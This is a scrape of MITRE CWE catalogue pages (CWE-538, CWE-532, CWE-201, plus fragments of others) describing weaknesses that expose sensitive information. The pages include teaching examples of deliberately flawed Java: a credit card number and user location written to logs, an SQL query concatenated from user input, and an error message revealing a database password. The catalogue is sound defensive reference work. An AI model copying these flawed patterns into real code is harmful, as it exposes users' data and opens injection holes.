updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships, Time_of_Introduction, Type
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Information Leak Through Debug Information
2020-02-24Information Exposure Through Debug Information

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

Weakness ID: 538
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.532Insertion of Sensitive Information into Log File
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.540Inclusion of Sensitive Information in Source Code
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.651Exposure of WSDL File Containing Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
OperationOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Files or Directories

+ Demonstrative Examples

Example 1

In the following code snippet, a user's full name and credit card number are written to a log file.

(bad code)
Example Language: Java 
logger.info("Username: " + usernme + ", CCN: " + ccn);
+ Observed Examples
ReferenceDescription
SSH password for private key stored in build log
+ Potential Mitigations

Phases: Architecture and Design; Operation; System Configuration

Do not expose file and directory information to the user.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 12: Information Leakage." Page 191. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Type
2009-12-28CWE Content TeamMITRE
updated Description, Maintenance_Notes, Name
2010-09-09Veracode
Suggested OWASP Top Ten mapping
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-12-28File and Directory Information Leaks
2020-02-24File and Directory Information Exposure

CWE-532: Insertion of Sensitive Information into Log File

Weakness ID: 532
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Information written to log files can be of a sensitive nature and give valuable guidance to an attacker or expose sensitive user information.
+ Extended Description

While logging all information may be helpful during development stages, it is important that logging levels be set appropriately before a product ships so that sensitive user data and system information are not accidentally exposed to potential attackers.

Different log files may be produced and stored for:

  • Server log files (e.g. server.log). This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.
  • log files that are used for debugging
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.538Insertion of Sensitive Information into Externally-Accessible File or Directory
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1009Audit
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Logging sensitive user data often provides attackers with an additional, less-protected path to acquiring the information.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

In the following code snippet, a user's full name and credit card number are written to a log file.

(bad code)
Example Language: Java 
logger.info("Username: " + usernme + ", CCN: " + ccn);

Example 2

This code stores location information about the current user:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...

catch (Exception e) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage("Sorry, this application has experienced an error.");
AlertDialog alert = builder.create();
alert.show();
Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

Example 3

In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.

(bad code)
Example Language: Java 
public BankAccount getUserBankAccount(String username, String accountNumber) {
BankAccount userAccount = null;
String query = null;
try {
if (isAuthorizedUser(username)) {
query = "SELECT * FROM accounts WHERE owner = "
+ username + " AND accountID = " + accountNumber;
DatabaseManager dbManager = new DatabaseManager();
Connection conn = dbManager.getConnection();
Statement stmt = conn.createStatement();
ResultSet queryResult = stmt.executeQuery(query);
userAccount = (BankAccount)queryResult.getObject(accountNumber);
}
} catch (SQLException ex) {
String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
}
return userAccount;
}

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

+ Observed Examples
ReferenceDescription
verbose logging stores admin credentials in a world-readable log file
SSH password for private key stored in build log
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Phase: Distribution

Remove debug log files before deploying the application into production.

Phase: Operation

Protect log files against unauthorized read/write.

Phase: Implementation

Adjust configurations appropriately when software is transitioned from a debug state to production.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1355OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)FIO13-JDo not log sensitive information outside a trust boundary
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Contributions
Contribution DateContributorOrganization
2009-07-15Fortify Software
Portions of Mitigations, Consequences and Description derived from content submitted by Fortify Software.
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Description, Likelihood_of_Exploit, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Description, Potential_Mitigations, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Name, Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2020-02-24CWE Content TeamMITRE
updated Name, Relationships, Type
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Log Files
2019-06-20Information Exposure Through Log Files
2020-02-24Inclusion of Sensitive Information in Log Files

CWE-201: Insertion of Sensitive Information Into Sent Data

Weakness ID: 201
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
+ Extended Description
Sensitive information could include data that is sensitive in and of itself (such as credentials or private messages), or otherwise useful in the further exploitation of the system (such as internal file system structure).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.598Use of GET Request Method With Sensitive Query Strings
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.202Exposure of Sensitive Information Through Data Queries
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.212Improper Removal of Sensitive Information Before Storage or Transfer
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.226Sensitive Information in Resource Not Removed Before Reuse
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1015Limit Access
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Files or Directories; Read Memory; Read Application Data

Sensitive data may be exposed to attackers.
+ Demonstrative Examples

Example 1

The following is an actual MySQL error statement:

(result)
Example Language: SQL 
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4

The error clearly exposes the database credentials.

+ Observed Examples
ReferenceDescription
Collaboration platform does not clear team emails in a response, allowing leak of email addresses
+ Potential Mitigations

Phase: Requirements

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

Phase: Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

Phase: System Configuration

Setup default error messages so that unexpected errors do not disclose sensitive information.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPAccidental leaking of sensitive information through sent data
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Common_Consequences, Description, Name
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, References, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Description, Name
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Information Leak Through Sent Data
2020-02-24Information Exposure Through Sent Data
2020-08-20Exposure of Sensitive Information Through Sent Data

CWE-691: Insufficient Control Flow Management

Weakness ID: 691
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.430Deployment of Wrong Handler
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.431Missing Handler
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
